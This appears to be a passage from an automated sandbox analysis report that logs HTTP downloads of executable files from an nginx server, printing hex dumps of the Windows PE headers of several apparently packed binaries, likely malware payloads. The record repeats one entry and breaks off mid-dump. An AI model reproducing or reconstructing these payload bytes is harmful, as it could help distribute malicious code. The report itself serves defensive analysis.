00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 19 Nov 2024 00:02:08 GMTContent-Type: application/octet-streamContent-Length: 1925632Last-Modified: Mon, 18 Nov 2024 23:55:46 GMTConnection: keep-aliveETag: "673bd402-1d6200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 20 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 4c 00 00 04 00 00 88 d3 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 48 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 fe 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 fd 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 48 04 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 2b 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 63 6a 69 6a 77 76 6e 00 50 1a 00 00 c0 31 00 00 44 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 63 76 61 6e 75 78 72 00 10 00 00 00 10 4c 00 00 06 00 00 00 3a 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 4c 00 00 22 00 00 00 40 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 19 Nov 2024 00:02:25 GMTContent-Type: application/octet-streamContent-Length: 4412928Last-Modified: Mon, 18 Nov 2024 22:16:54 GMTConnection: keep-aliveETag: "673bbcd6-435600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 a7 ca 39 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 d4 48 00 00 ee 67 00 00 32 00 00 00 00 ba 00 00 10 00 00 00 f0 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 ba 00 00 04 00 00 a9 c1 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 70 65 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1c ef b9 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cc ee b9 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 50 65 00 00 10 00 00 00 6c 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 60 65 00 00 00 00 00 00 7c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 70 65 00 00 02 00 00 00 7c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 38 00 00 80 65 00 00 02 00 00 00 7e 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 7a 71 69 61 73 73 6a 00 b0 1b 00 00 40 9e 00 00 b0 1b 00 00 80 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 72 78 66 75 7a 79 70 00 10 00 00 00 f0 b9 00 00 04 00 00 00 30 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 ba 00 00 22 00 00 00 34 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 19 Nov 2024 00:02:34 GMTContent-Type: application/octet-streamContent-Length: 1907200Last-Modified: Mon, 18 Nov 2024 23:55:32 GMTConnection: keep-aliveETag: "673bd3f4-1d1a00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 e6 72 3b 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 10 04 00 00 ba 00 00 00 00 00 00 00 50 4b 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 4b 00 00 04 00 00 bc cd 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 70 05 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 71 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 50 05 00 00 10 00 00 00 5e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 60 05 00 00 00 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 70 05 00 00 02 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 30 2b 00 00 80 05 00 00 02 00 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 77 70 6f 65 63 6e 76 00 90 1a 00 00 b0 30 00 00 82 1a 00 00 72 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 71 6b 70 64 76 6c 7a 78 00 10 00 00 00 40 4b 00 00 04 00 00 00 f4 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 4b 00 00 22 00 00 00 f8 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 19 Nov 2024 00:02:39 GMTContent-Type: application/octet-streamContent-Length: 1826816Last-Modified: Mon, 18 Nov 2024 23:55:40 GMTConnection: keep-aliveETag: "673bd3fc-1be000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 22 01 00 00 00 00 00 00 e0 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 6a 00 00 04 00 00 a7 42 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 a0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 2a 00 00 c0 24 00 00 02 00 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 79 65 6f 61 76 72 62 00 50 1a 00 00 80 4f 00 00 42 1a 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 71 79 63 74 64 69 6c 00 10 00 00 00 d0 69 00 00 04 00 00 00 ba 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 e0 69 00 00 22 00 00 00 be 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 19 Nov 2024 00:02:57 GMTContent-Type: application/octet-streamContent-Length: 2819584Last-Modified: Mon, 18 Nov 2024 23:54:15 GMTConnection: keep-aliveETag: "673bd3a7-2b0600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 f2 e4 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6f 67 74 78 73 6f 68 63 00 c0 2a 00 00 a0 00 00 00 a4 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 79 61 72 6a 65 76 74 00 20 00 00 00 60 2b 00 00 06 00 00 00 de 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 80 2b 00 00 22 00 00 00 e4 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 19 Nov 2024 00:02:58 GMTContent-Type: application/octet-streamContent-Length: 922112Last-Modified: Mon, 18 Nov 2024 23:53:46 GMTConnection: keep-aliveETag: "673bd38a-e1200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 82 d3 3b 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 62 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 0e 00 00 04 00 00 75 95 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 58 a7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 58 a7 00 00 00 40 0d 00 00 a8 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 f0 0d 00 00 76 00 00 00 9c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 19 Nov 2024 00:02:58 GMTContent-Type: application/octet-streamContent-Length: 922112Last-Modified: Mon, 18 Nov 2024 23:53:46 GMTConnection: keep-aliveETag: "673bd38a-e1200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 82 d3 3b 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 62 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 0e 00 00 04 00 00 75 95 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 58 a7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 